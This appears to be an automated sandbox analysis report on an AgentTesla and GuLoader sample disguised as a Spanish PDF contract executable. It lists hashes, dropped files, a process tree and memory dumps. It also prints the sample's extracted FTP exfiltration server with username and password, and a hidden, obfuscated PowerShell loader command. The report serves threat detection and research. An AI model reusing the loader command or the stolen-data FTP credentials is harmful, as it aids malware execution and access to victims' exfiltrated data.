agenttesla | 35e6acc4ddeace130bae6e47e1e1062862fd7f6b4fecf8136dd3e109c5011aa4

General

Target

ANÁLISIS DEL CONTRATO-pdf.exe
Size

703KB
MD5

1a19d3b35592f19f97ad7c43b0a875e6
SHA1

38fd4bb32e9b5a0d58413954bed06aadb3e714ba
SHA256

35e6acc4ddeace130bae6e47e1e1062862fd7f6b4fecf8136dd3e109c5011aa4
SHA512

8f9de97ca969b26809fc47101091c20895bcc35793a331d22cc7fa32929fcc2229eb7b99b44d3a070431adc0795d5c81175e8fb98688a73382d72d4ad3ebf0f4
SSDEEP

12288:ywFGHEJsv/EqlEyhS6fOaoceSZylgimtdYM3O0V7bbb:y5HEJsHEqlHSkElgZtub0V7j

Score

10^/10

agenttesla guloader downloader keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.vvspijkenisse.nl
Port:
21
Username:
[email protected]
Password:
playingboyz231

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Drops file in System32 directory 1 IoCs

Processes:

ANÁLISIS DEL CONTRATO-pdf.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Haglskadeforsikring\Miljankenvnet.ini ANÁLISIS DEL CONTRATO-pdf.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Haglskadeforsikring\Miljankenvnet.ini	ANÁLISIS DEL CONTRATO-pdf.exe

Drops file in Program Files directory 4 IoCs

Processes:

ANÁLISIS DEL CONTRATO-pdf.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Kldebonnets.kod	ANÁLISIS DEL CONTRATO-pdf.exe
File opened for modification	C:\Program Files (x86)\Common Files\integraltegnets\substrate.Ski	ANÁLISIS DEL CONTRATO-pdf.exe
File created	C:\Program Files (x86)\cockling.lnk	ANÁLISIS DEL CONTRATO-pdf.exe
File opened for modification	C:\Program Files (x86)\cockling.lnk	ANÁLISIS DEL CONTRATO-pdf.exe

Drops file in Windows directory 3 IoCs

Processes:

ANÁLISIS DEL CONTRATO-pdf.exe

description	ioc	process
File created	C:\Windows\bagvognen.lnk	ANÁLISIS DEL CONTRATO-pdf.exe
File opened for modification	C:\Windows\Calottes.Doo	ANÁLISIS DEL CONTRATO-pdf.exe
File opened for modification	C:\Windows\bagvognen.lnk	ANÁLISIS DEL CONTRATO-pdf.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3596 3712 WerFault.exe msbuild.exe

pid	pid_target	process	target process
3596	3712	WerFault.exe	msbuild.exe

C:\Users\Admin\AppData\Local\Temp\ANÁLISIS DEL CONTRATO-pdf.exe
"C:\Users\Admin\AppData\Local\Temp\ANÁLISIS DEL CONTRATO-pdf.exe"
1⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
PID:3904

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Raastegendes=Get-Content 'C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Nondesulfurization\Tetrodotoxin\Uglegylpet225\Rejsebureau\Forsyningsskib.Evi';$Impoundage=$Raastegendes.SubString(56924,3);.$Impoundage($Raastegendes)"
2⤵
PID:2964

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
3⤵
PID:3712

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3712 -s 1868
4⤵
- Program crash
PID:3596

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 3712 -ip 3712
1⤵
PID:2928

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
1⤵
PID:3208

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k UnistackSvcGroup
1⤵
PID:4628

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Rkkens.ini
Filesize
32B

MD5
a8ca1db6ae34f5e5c152094f44f92476

SHA1
9fe0fd4e6907c4f9099d2533c3bade4ffa0968e7

SHA256
1f0dbc97d6570f2f5a1e18f82842c9a0007e568ca8fb768c123637ef5077aad3

SHA512
e48e987e1f8297b17f7fb5b8b34da6131156834310987600b20b0dcff4c43632ccb4b2305030a4a999f783176d480c8300e6aef92afbb2032379eca6dac88b5a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ch0wchaa.gv4.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Nondesulfurization\Tetrodotoxin\Uglegylpet225\Rejsebureau\Forsyningsskib.Evi
Filesize
55KB

MD5
b2c54dadf0aec1e7b39900949f8d1679

SHA1
2e4c3297515729015c62453cc6fb44f629e89f4e

SHA256
b7460b0941c2246ab083dc1d337ba1f1dcc78c0372b7cc1c7e1378b56895846e

SHA512
7b9fb5354681317348e8c38c2698b6fd10cdba6d0022c2c6e5036094c4a18c2daf2ce5d596256a97114003b1cdc10ae0cf944846fb25ed5e3117f16c9a864f74

Download Submit
C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Nondesulfurization\Tetrodotoxin\Uglegylpet225\Rejsebureau\Senaternes.Roy
Filesize
295KB

MD5
0a7d7f667c023342453da0b0e1acfa13

SHA1
d0afd80a5fba0e1ef7388144ff2962fd171f79d1

SHA256
667135c582b072003c3f6781280df0a00da6830e3efcb7a5e8e53f8f32cf650e

SHA512
702661ed98f65d13afc5a6184881561deb3eea979a5a1bbcf1f22eab537e723a3a644eb7878b15ad71a062faa2d521fd706e2bf37ca9345a501c9b39004721d2

Download Submit
memory/2964-189-0x0000000008A10000-0x0000000009D19000-memory.dmp

Filesize
19.0MB

Download
memory/2964-177-0x0000000005F40000-0x0000000005F5E000-memory.dmp

Filesize
120KB

Download
memory/2964-164-0x0000000004F60000-0x0000000004F82000-memory.dmp

Filesize
136KB

Download
memory/2964-192-0x0000000073D20000-0x00000000744D0000-memory.dmp

Filesize
7.7MB

Download
memory/2964-166-0x0000000005910000-0x0000000005976000-memory.dmp

Filesize
408KB

Download
memory/2964-194-0x0000000004A50000-0x0000000004A60000-memory.dmp

Filesize
64KB

Download
memory/2964-176-0x0000000005980000-0x0000000005CD4000-memory.dmp

Filesize
3.3MB

Download
memory/2964-193-0x0000000077981000-0x0000000077AA1000-memory.dmp

Filesize
1.1MB

Download
memory/2964-178-0x0000000005F90000-0x0000000005FDC000-memory.dmp

Filesize
304KB

Download
memory/2964-179-0x0000000004A50000-0x0000000004A60000-memory.dmp

Filesize
64KB

Download
memory/2964-180-0x0000000007110000-0x00000000071A6000-memory.dmp

Filesize
600KB

Download
memory/2964-182-0x00000000064A0000-0x00000000064C2000-memory.dmp

Filesize
136KB

Download
memory/2964-181-0x0000000006480000-0x000000000649A000-memory.dmp

Filesize
104KB

Download
memory/2964-183-0x0000000007760000-0x0000000007D04000-memory.dmp

Filesize
5.6MB

Download
memory/2964-162-0x0000000004A50000-0x0000000004A60000-memory.dmp

Filesize
64KB

Download
memory/2964-185-0x0000000008390000-0x0000000008A0A000-memory.dmp

Filesize
6.5MB

Download
memory/2964-160-0x0000000004980000-0x00000000049B6000-memory.dmp

Filesize
216KB

Download
memory/2964-188-0x00000000074C0000-0x00000000074C4000-memory.dmp

Filesize
16KB

Download
memory/2964-159-0x0000000073D20000-0x00000000744D0000-memory.dmp

Filesize
7.7MB

Download
memory/2964-190-0x0000000008A10000-0x0000000009D19000-memory.dmp

Filesize
19.0MB

Download
memory/2964-165-0x0000000005830000-0x0000000005896000-memory.dmp

Filesize
408KB

Download
memory/2964-163-0x0000000005090000-0x00000000056B8000-memory.dmp

Filesize
6.2MB

Download
memory/2964-161-0x0000000004A50000-0x0000000004A60000-memory.dmp

Filesize
64KB

Download
memory/2964-205-0x0000000008A10000-0x0000000009D19000-memory.dmp

Filesize
19.0MB

Download
memory/2964-196-0x0000000008A10000-0x0000000009D19000-memory.dmp

Filesize
19.0MB

Download
memory/2964-201-0x0000000073D20000-0x00000000744D0000-memory.dmp

Filesize
7.7MB

Download
memory/3712-204-0x00000000200E0000-0x00000000200F0000-memory.dmp

Filesize
64KB

Download
memory/3712-206-0x0000000000D50000-0x0000000002059000-memory.dmp

Filesize
19.0MB

Download
memory/3712-200-0x0000000000D50000-0x0000000002059000-memory.dmp

Filesize
19.0MB

Download
memory/3712-195-0x0000000000D50000-0x0000000002059000-memory.dmp

Filesize
19.0MB

Download
memory/3712-203-0x000000006EB20000-0x000000006EB60000-memory.dmp

Filesize
256KB

Download
memory/3712-197-0x0000000077A08000-0x0000000077A09000-memory.dmp

Filesize
4KB

Download
memory/3712-199-0x000000006EB20000-0x000000006FD74000-memory.dmp

Filesize
18.3MB

Download
memory/3712-202-0x0000000073D20000-0x00000000744D0000-memory.dmp

Filesize
7.7MB

Download
memory/3712-198-0x0000000077981000-0x0000000077AA1000-memory.dmp

Filesize
1.1MB

Download
memory/3712-208-0x0000000073D20000-0x00000000744D0000-memory.dmp

Filesize
7.7MB

Download
memory/4628-225-0x0000021AF9A40000-0x0000021AF9A50000-memory.dmp

Filesize
64KB

Download
memory/4628-241-0x0000021AFDDB0000-0x0000021AFDDB1000-memory.dmp

Filesize
4KB

Download
memory/4628-243-0x0000021AFDDE0000-0x0000021AFDDE1000-memory.dmp

Filesize
4KB

Download
memory/4628-245-0x0000021AFDEF0000-0x0000021AFDEF1000-memory.dmp

Filesize
4KB

Download
memory/4628-244-0x0000021AFDDE0000-0x0000021AFDDE1000-memory.dmp

Filesize
4KB

Download

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